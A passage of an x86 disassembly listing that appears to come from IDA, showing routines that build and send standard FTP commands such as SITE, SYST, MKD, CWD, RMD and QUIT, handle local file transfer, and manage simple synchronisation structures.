mov eax, [esi+18h]
sub eax, 0
jz short loc_42F33B
dec eax
jz short loc_42F2F0
dec eax
jz short loc_42F2DC
loc_42F2D4: ; CODE XREF: sub_42F2C0+64j
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F2DC: ; CODE XREF: sub_42F2C0+12j
mov eax, [esi+14h]
test eax, eax
jz short loc_42F2F0
push esi
push 0
push 0
call sub_42F110
add esp, 0Ch
loc_42F2F0: ; CODE XREF: sub_42F2C0+Fj
; sub_42F2C0+21j
mov eax, [esi+14h]
push ebx
mov ebx, dword_511AD0
test eax, eax
jz short loc_42F304
push eax
call ebx
add esp, 4
loc_42F304: ; CODE XREF: sub_42F2C0+3Cj
mov eax, [esi+8]
push 2
push eax
call sub_438292
; ---------------------------------------------------------------------------
mov ecx, [esi+8]
push ecx
call sub_4381FC
; ---------------------------------------------------------------------------
mov edi, [esi+1Ch]
push esi
call ebx
add esp, 4
test edi, edi
pop ebx
jz short loc_42F2D4
push edi
push 32h
mov dword ptr [edi+20h], 0
call sub_42DE00
add esp, 8
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F33B: ; CODE XREF: sub_42F2C0+Cj
mov eax, [esi+20h]
test eax, eax
jz short loc_42F352
push esi
mov dword ptr [esi+1Ch], 0
call sub_401BEF
add esp, 4
loc_42F352: ; CODE XREF: sub_42F2C0+80j
mov edx, [esi+8]
push edx
call sub_4381FC
sub_42F2C0 endp
; ---------------------------------------------------------------------------
db 56h
db 90h
db 0E8h, 0B9h, 0CEh
dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h, 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42F3A0: ; CODE XREF: ___:00401CF8j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
pop edi
cmp ecx, 100h
jbe short loc_42F3C9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42F3C9: ; CODE XREF: ___:0042F3C0j
push edx
lea eax, [esp+4]
push offset aSiteS ; "SITE %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F420: ; CODE XREF: ___:004016CCj
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+14h]
push edi
push 32h
push offset aSyst ; "SYST"
call sub_42E490
add esp, 0Ch
test eax, eax
jnz short loc_42F441
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F441: ; CODE XREF: ___:0042F43Cj
mov eax, [esp+10h]
lea ecx, [edi+48h]
lea edx, [eax-1]
test edx, edx
jz short loc_42F45C
loc_42F44F: ; CODE XREF: ___:0042F45Aj
mov al, [ecx]
cmp al, 20h
jz short loc_42F45C
mov [esi], al
inc esi
inc ecx
dec edx
jnz short loc_42F44F
loc_42F45C: ; CODE XREF: ___:0042F44Dj
; ___:0042F453j
mov byte ptr [esi], 0
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F490: ; CODE XREF: ___:00402270j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42F4B9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42F4B9: ; CODE XREF: ___:0042F4B0j
push edx
lea eax, [esp+4]
push offset aMkdS ; "MKD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F510: ; CODE XREF: ___:0040227Fj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42F539
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42F539: ; CODE XREF: ___:0042F530j
push edx
lea eax, [esp+4]
push offset aCwdS ; "CWD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F590: ; CODE XREF: ___:0040178Aj
mov eax, [esp+4]
push eax
push 32h
push offset aCdup ; "CDUP"
call sub_42E490
add esp, 0Ch
neg eax
sbb eax, eax
neg eax
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F5C0: ; CODE XREF: ___:00402220j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_42F5E9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42F5E9: ; CODE XREF: ___:0042F5E0j
push edx
lea eax, [esp+4]
push offset aRmdS ; "RMD %s"
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F640: ; CODE XREF: ___:00401677j
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+14h]
push edi
push 32h
push offset off_447688
call sub_42E490
add esp, 0Ch
test eax, eax
jnz short loc_42F661
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F661: ; CODE XREF: ___:0042F65Cj
add edi, 44h
push 22h
push edi
nop
call near ptr 77C47660h
add esp, 8
test eax, eax
jnz short loc_42F677
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F677: ; CODE XREF: ___:0042F672j
mov ecx, [esp+10h]
inc eax
lea edx, [ecx-1]
test edx, edx
jz short loc_42F695
loc_42F683: ; CODE XREF: ___:0042F693j
mov cl, [eax]
test cl, cl
jz short loc_42F695
cmp cl, 22h
jz short loc_42F695
mov [esi], cl
inc esi
inc eax
dec edx
jnz short loc_42F683
loc_42F695: ; CODE XREF: ___:0042F681j
; ___:0042F687j ...
mov byte ptr [esi], 0
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F6C0: ; CODE XREF: ___:00401127j
mov eax, [esp+0Ch]
mov ecx, [esp+8]
mov edx, [esp+4]
push 41h
push 1
push eax
push ecx
push edx
call sub_42F6F0
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F6F0 proc near ; CODE XREF: ___:0042F6D3p
; ___:0042F953p ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push ecx
mov eax, [esp+4+arg_0]
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov edi, [esp+14h+arg_10]
cmp eax, ebp
mov [esp+14h+var_4], 1
jz short loc_42F77A
mov esi, [esp+14h+arg_C]
mov cx, word_4476C8
cmp esi, 4
mov word ptr [esp+14h+arg_10], cx
mov word ptr [esp+14h+arg_10+2], bp
jnz short loc_42F72A
mov byte ptr [esp+14h+arg_10], 72h
loc_42F72A: ; CODE XREF: sub_42F6F0+33j
cmp edi, 49h
jnz short loc_42F734
mov byte ptr [esp+14h+arg_10+1], 62h
loc_42F734: ; CODE XREF: sub_42F6F0+3Dj
lea edx, [esp+14h+arg_10]
push edx
push eax
nop
call near ptr 77C3F010h
mov ebx, eax
add esp, 8
cmp ebx, ebp
jnz short loc_42F794
push 100h
nop
call near ptr 77C1F2BCh
mov eax, [eax]
push eax
call near ptr 77C371FAh
nop
mov ecx, [esp+1Ch+arg_8]
add esp, 4
add ecx, 44h
push eax
push ecx
nop
call near ptr 77C47A90h
add esp, 0Ch
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F77A: ; CODE XREF: sub_42F6F0+19j
mov esi, [esp+14h+arg_C]
cmp esi, 4
jnz short loc_42F78B
mov ebx, dword_511A90
jmp short loc_42F794
; ---------------------------------------------------------------------------
loc_42F78B: ; CODE XREF: sub_42F6F0+91j
mov edx, dword_511A90
lea ebx, [edx+20h]
loc_42F794: ; CODE XREF: sub_42F6F0+57j
; sub_42F6F0+99j
mov ecx, [esp+14h+arg_8]
mov edx, [esp+14h+arg_4]
lea eax, [esp+14h+arg_C]
push eax
push ecx
push edi
push esi
push edx
call sub_401F73
add esp, 14h
test eax, eax
jnz short loc_42F7B7
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F7B7: ; CODE XREF: sub_42F6F0+BFj
push 2000h
nop
call near ptr 77C2C407h
add esp, 4
cmp esi, 4
mov edi, eax
jnz short loc_42F82D
mov ebp, dword_511AB0
push ebx
push 2000h
push 1
push edi
call ebp
mov esi, eax
add esp, 10h
test esi, esi
jle loc_42F883
loc_42F7EA: ; CODE XREF: sub_42F6F0+11Fj
mov eax, [esp+14h+arg_C]
push eax
push esi
push edi
call sub_402216
add esp, 0Ch
cmp eax, esi
jl short loc_42F813
push ebx
push 2000h
push 1
push edi
call ebp
mov esi, eax
add esp, 10h
test esi, esi
jg short loc_42F7EA
jmp short loc_42F883
; ---------------------------------------------------------------------------
loc_42F813: ; CODE XREF: sub_42F6F0+10Bj
push eax
push esi
push offset aShortWritePass ; "short write: passed %d, wrote %d\n"
nop
call near ptr 77C4186Ah
add esp, 0Ch
mov [esp+14h+var_4], 0
jmp short loc_42F883
; ---------------------------------------------------------------------------
loc_42F82D: ; CODE XREF: sub_42F6F0+DAj
mov ecx, [esp+14h+arg_C]
push ecx
push 2000h
push edi
call sub_40226B
add esp, 0Ch
cmp eax, ebp
jle short loc_42F883
mov esi, dword_511AA0
loc_42F84A: ; CODE XREF: sub_42F6F0+17Dj
push ebx
push eax
push 1
push edi
call esi
add esp, 10h
test eax, eax
jbe short loc_42F871
mov edx, [esp+14h+arg_C]
push edx
push 2000h
push edi
call sub_40226B
add esp, 0Ch
cmp eax, ebp
jg short loc_42F84A
jmp short loc_42F883
; ---------------------------------------------------------------------------
loc_42F871: ; CODE XREF: sub_42F6F0+166j
push offset aLocalfileWrite ; "localfile write"
call near ptr 77C36DF2h
nop
add esp, 4
mov [esp+14h+var_4], ebp
loc_42F883: ; CODE XREF: sub_42F6F0+F4j
; sub_42F6F0+121j ...
push edi
call near ptr 77C2C21Bh
nop
push ebx
nop
call near ptr 77C3EEF6h
mov eax, [esp+1Ch+arg_0]
add esp, 8
test eax, eax
jz short loc_42F8A6
push ebx
call near ptr 77C40AB1h
nop
add esp, 4
loc_42F8A6: ; CODE XREF: sub_42F6F0+1AAj
mov eax, [esp+14h+arg_C]
push eax
call sub_401BEF
mov eax, [esp+18h+var_4]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_42F6F0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F940: ; CODE XREF: ___:004016A9j
mov eax, [esp+0Ch]
mov ecx, [esp+8]
mov edx, [esp+4]
push 41h
push 2
push eax
push ecx
push edx
call sub_42F6F0
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F970: ; CODE XREF: ___:00401D43j
sub esp, 108h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
mov ebx, [esp+110h]
push ebp
push esi
push edi
mov edi, ebx
repne scasb
not ecx
add ecx, 6
mov ebp, 1
cmp ecx, 100h
jbe short loc_42F9A7
pop edi
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42F9A7: ; CODE XREF: ___:0042F99Aj
movsx eax, byte ptr [esp+124h]
mov edi, dword_511A6C
push eax
lea ecx, [esp+1Ch]
push offset dword_4474D0
push ecx
call edi
mov esi, [esp+134h]
lea edx, [esp+24h]
push esi
push 32h
push edx
call sub_42E490
add esp, 18h
test eax, eax
jnz short loc_42F9E8
pop edi
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42F9E8: ; CODE XREF: ___:0042F9DBj
push ebx
lea eax, [esp+1Ch]
push offset dword_4476D4
push eax
call edi
push esi
lea ecx, [esp+28h]
push 32h
push ecx
call sub_42E490
add esp, 18h
test eax, eax
jz short loc_42FA44
lea edx, [esp+10h]
lea eax, [esp+14h]
push edx
push eax
add esi, 44h
push offset dword_4476CC
push esi
call near ptr 77C41B72h
nop
add esp, 10h
cmp eax, 2
jnz short loc_42FA44
mov ecx, [esp+120h]
mov edx, [esp+10h]
pop edi
mov eax, ebp
pop esi
pop ebp
mov [ecx], edx
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_42FA44: ; CODE XREF: ___:0042FA07j
; ___:0042FA28j
xor ebp, ebp
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FAA0: ; CODE XREF: ___:004013C0j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push edi
mov edi, edx
mov ebx, 1
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
jbe short loc_42FAD0
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42FAD0: ; CODE XREF: ___:0042FAC5j
push esi
push edx
lea eax, [esp+10h]
push offset dword_4476E0
push eax
nop
call near ptr 77C3F931h
mov esi, [esp+128h]
lea ecx, [esp+18h]
push esi
push 32h
push ecx
call sub_42E490
add esp, 18h
test eax, eax
jnz short loc_42FB0B
xor ebx, ebx
pop esi
mov eax, ebx
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42FB0B: ; CODE XREF: ___:0042FAFBj
mov edx, [esp+118h]
mov eax, [esp+114h]
add esi, 48h
push edx
push esi
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
mov eax, ebx
pop esi
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FB70 proc near ; CODE XREF: sub_4016B3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
arg_C = dword ptr 10h
movsx eax, [esp+arg_8]
mov ecx, [esp+arg_C]
mov edx, [esp+arg_4]
push eax
mov eax, [esp+4+arg_0]
push 3
push ecx
push edx
push eax
call sub_42F6F0
add esp, 14h
retn
sub_42FB70 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FBA0: ; CODE XREF: ___:004016D1j
movsx eax, byte ptr [esp+0Ch]
mov ecx, [esp+10h]
mov edx, [esp+8]
push eax
mov eax, [esp+8]
push 4
push ecx
push edx
push eax
call sub_42F6F0
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FBD0: ; CODE XREF: ___:0040149Cj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push esi
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
ja short loc_42FC69
mov ebx, [esp+114h]
or ecx, 0FFFFFFFFh
mov edi, ebx
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
ja short loc_42FC69
mov esi, dword_511A6C
push edx
lea eax, [esp+10h]
push offset dword_4476F8
push eax
call esi
mov edi, [esp+124h]
lea ecx, [esp+18h]
push edi
push 33h
push ecx
call sub_42E490
add esp, 18h
test eax, eax
jz short loc_42FC69
push ebx
lea edx, [esp+10h]
push offset dword_4476EC
push edx
call esi
push edi
lea eax, [esp+1Ch]
push 32h
push eax
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
pop edi
pop esi
pop ebx
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42FC69: ; CODE XREF: ___:0042FBF1j
; ___:0042FC0Cj ...
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FCB0: ; CODE XREF: ___:00401C7Bj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
pop edi
cmp ecx, 100h
jbe short loc_42FCD9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42FCD9: ; CODE XREF: ___:0042FCD0j
push edx
lea eax, [esp+4]
push offset dword_447704
push eax
nop
call near ptr 77C3F931h
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42E490
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FD30 proc near ; CODE XREF: sub_401D66j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+18h]
test eax, eax
jnz short loc_42FD69
push edi
push esi
push 32h
push offset aQuit ; "QUIT"
call sub_42E490
mov eax, [esi+8]
add esp, 0Ch
push eax
call sub_4381FC
; ---------------------------------------------------------------------------
mov ecx, [esi+14h]
mov edi, dword_511AD0
push ecx
call edi
push esi
call edi
add esp, 8
pop edi
loc_42FD69: ; CODE XREF: sub_42FD30+Aj
pop esi
retn
sub_42FD30 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FD80: ; CODE XREF: ___:004021C1j
push edi
mov edi, [esp+8]
test edi, edi
jnz short loc_42FD90
mov eax, 16h
pop edi
retn
; ---------------------------------------------------------------------------
loc_42FD90: ; CODE XREF: ___:0042FD87j
push 1Ch
nop
call near ptr 77C2C407h
add esp, 4
test eax, eax
jnz short loc_42FDA6
mov eax, 0Ch
pop edi
retn
; ---------------------------------------------------------------------------
loc_42FDA6: ; CODE XREF: ___:0042FD9Dj
mov ecx, 1
mov dword ptr [eax+8], 0
mov dword ptr [eax+0Ch], 0
mov dword ptr [eax+10h], 0
mov [eax+14h], ecx
mov [eax+18h], ecx
mov dword ptr [eax], 0C4C0FFEEh
mov [edi], eax
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FE00: ; CODE XREF: ___:0040151Ej
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42FE19
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FE19: ; CODE XREF: ___:0042FE10j
mov eax, [esi]
mov dword ptr [eax], 0
mov ecx, [esi]
push ecx
call near ptr 77C2C21Bh
nop
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FE50: ; CODE XREF: ___:004012D5j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
mov eax, [esp+0Ch]
jnz short loc_42FE75
test eax, eax
jz short loc_42FE75
mov ecx, [esi]
pop esi
mov edx, [ecx+0Ch]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42FE75: ; CODE XREF: ___:0042FE64j
; ___:0042FE68j
mov dword ptr [eax], 1
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FEA0: ; CODE XREF: ___:004013ACj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42FEB9
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FEB9: ; CODE XREF: ___:0042FEB0j
mov eax, [esp+0Ch]
test eax, eax
jz short loc_42FECD
cmp eax, 1
jz short loc_42FECD
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FECD: ; CODE XREF: ___:0042FEBFj
; ___:0042FEC4j
mov ecx, [esi]
pop esi
mov [ecx+0Ch], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FEF0: ; CODE XREF: ___:00401519j
mov eax, 28h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FF10: ; CODE XREF: ___:00401834j
mov eax, 28h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FF30: ; CODE XREF: ___:00401348j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42FF49
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FF49: ; CODE XREF: ___:0042FF40j
mov eax, [esi]
mov edx, [esp+0Ch]
pop esi
mov ecx, [eax+8]
xor eax, eax
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FF70: ; CODE XREF: ___:00402207j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42FF89
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42FF89: ; CODE XREF: ___:0042FF80j
mov eax, [esi]
mov ecx, [esp+0Ch]
pop esi
mov [eax+8], ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FFB0: ; CODE XREF: ___:004019B0j
mov eax, [esp+4]
mov ecx, [eax]
mov eax, [esp+8]
mov edx, [ecx+18h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FFE0: ; CODE XREF: ___:004019ABj
mov eax, [esp+8]
sub eax, 0
jz short loc_430002
dec eax
jz short loc_42FFF2
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_42FFF2: ; CODE XREF: ___:0042FFEAj
mov eax, [esp+4]
mov ecx, [eax]
xor eax, eax
mov dword ptr [ecx+18h], 1
retn
; ---------------------------------------------------------------------------
loc_430002: ; CODE XREF: ___:0042FFE7j
mov eax, 30h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430020: ; CODE XREF: ___:00401C1Cj
push ebx
mov ebx, [esp+8]
push esi
push edi
test ebx, ebx
jz loc_4300BB
mov edi, [esp+18h]
test edi, edi
jz loc_4300BB
push 18h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jz short loc_4300B2
mov eax, [esp+14h] ; DATA XREF: ___:off_444EA0o
test eax, eax
jz short loc_430060
mov eax, [eax]
test eax, eax
jz short loc_430060
mov eax, [eax]
jmp short loc_430062
; ---------------------------------------------------------------------------
loc_430060: ; CODE XREF: ___:00430054j
; ___:0043005Aj
xor eax, eax
loc_430062: ; CODE XREF: ___:0043005Ej
mov [esi+4], edi
mov [esi], edi
lea edi, [esi+10h]
push 0
push eax
push edi
mov [esi+0Ch], eax
mov dword ptr [esi+8], 0
call sub_401C8A
add esp, 0Ch
test eax, eax
jnz short loc_4300A8
push eax
mov eax, [esi+0Ch]
lea ecx, [esi+14h]
push eax
push ecx
call sub_401C8A
add esp, 0Ch
test eax, eax
jnz short loc_43009F
mov [ebx], esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43009F: ; CODE XREF: ___:00430097j
push edi
call sub_401690
add esp, 4
loc_4300A8: ; CODE XREF: ___:00430082j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
loc_4300B2: ; CODE XREF: ___:0043004Cj
pop edi
pop esi
mov eax, 0Ch
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4300BB: ; CODE XREF: ___:00430029j
; ___:00430035j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430100: ; CODE XREF: ___:0040220Cj
push ebx
push ebp
mov ebp, [esp+0Ch]
push esi
test ebp, ebp
push edi
jz short loc_430168
mov esi, [ebp+0]
test esi, esi
jz short loc_430168
lea ebx, [esi+10h]
mov dword ptr [ebp+0], 0
push ebx
call sub_401690
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_43015E
lea eax, [esi+14h]
push eax
call sub_401690
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_43014F
push esi
call near ptr 77C2C21Bh
nop
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43014F: ; CODE XREF: ___:0043013Cj
mov ecx, [esi+0Ch]
push 0
push ecx
push ebx
call sub_401C8A
add esp, 0Ch
loc_43015E: ; CODE XREF: ___:0043012Aj
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430168: ; CODE XREF: ___:0043010Aj
; ___:00430111j
pop edi
pop esi
pop ebp
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4301A0: ; CODE XREF: ___:004017A3j
mov eax, [esp+4]
push esi
test eax, eax
jz loc_430254
mov esi, [eax]
test esi, esi
jz loc_430254
push ebp
lea ebp, [esi+8]
push edi
push esi
mov edi, [ebp+0]
call near ptr 2770BE3h
nop
test eax, eax
jnz short loc_4301E7
mov eax, [esi+4]
cmp eax, 1
mov [esi], eax
jbe short loc_430234
dec eax
push eax
lea eax, [esi+edi*4+10h]
push eax
call sub_402068
add esp, 8
mov esi, eax
jmp short loc_430230
; ---------------------------------------------------------------------------
loc_4301E7: ; CODE XREF: ___:004301C8j
push ebx
call sub_4012E4
; ---------------------------------------------------------------------------
mov ecx, [eax+34h]
mov ebx, 1
cmp ecx, ebx
jnz short loc_43020B
lea ecx, [esp+14h]
push ecx
push ebx
call sub_401415
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jz short loc_43020D
loc_43020B: ; CODE XREF: ___:004301F7j
xor ebx, ebx
loc_43020D: ; CODE XREF: ___:00430209j
lea edx, [esi+edi*4+10h]
push edx
call sub_401041
add esp, 4
mov esi, eax
test ebx, ebx
pop ebx
jz short loc_430230
mov eax, [esp+10h]
push 0
push eax
call sub_401415
; ---------------------------------------------------------------------------
add esp, 8
loc_430230: ; CODE XREF: ___:004301E5j
; ___:0043021Fj
test esi, esi
jnz short loc_43024E
loc_430234: ; CODE XREF: ___:004301D2j
mov ecx, 1
push edi
sub ecx, edi
push ecx
push ebp
call dword_5103D8 ; InterlockedCompareExchange
xor edx, edx
cmp edi, eax
setnz dl
dec edx
mov esi, edx
loc_43024E: ; CODE XREF: ___:00430232j
pop edi
mov eax, esi
pop ebp
pop esi
retn
; ---------------------------------------------------------------------------
loc_430254: ; CODE XREF: ___:004301A7j
; ___:004301B1j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430290: ; CODE XREF: ___:00401F6Ej
push esi
push 4
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
test eax, eax
jnz short loc_4302B3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_4302B3: ; CODE XREF: ___:004302A2j
mov ecx, [esp+8]
mov dword ptr [eax], 0
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4302E0: ; CODE XREF: ___:00401A87j
mov ecx, [esp+4]
push esi
xor esi, esi
test ecx, ecx
jz short loc_430301
mov eax, [ecx]
test eax, eax
jz short loc_430301
push eax
mov [ecx], esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430301: ; CODE XREF: ___:004302E9j
; ___:004302EFj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
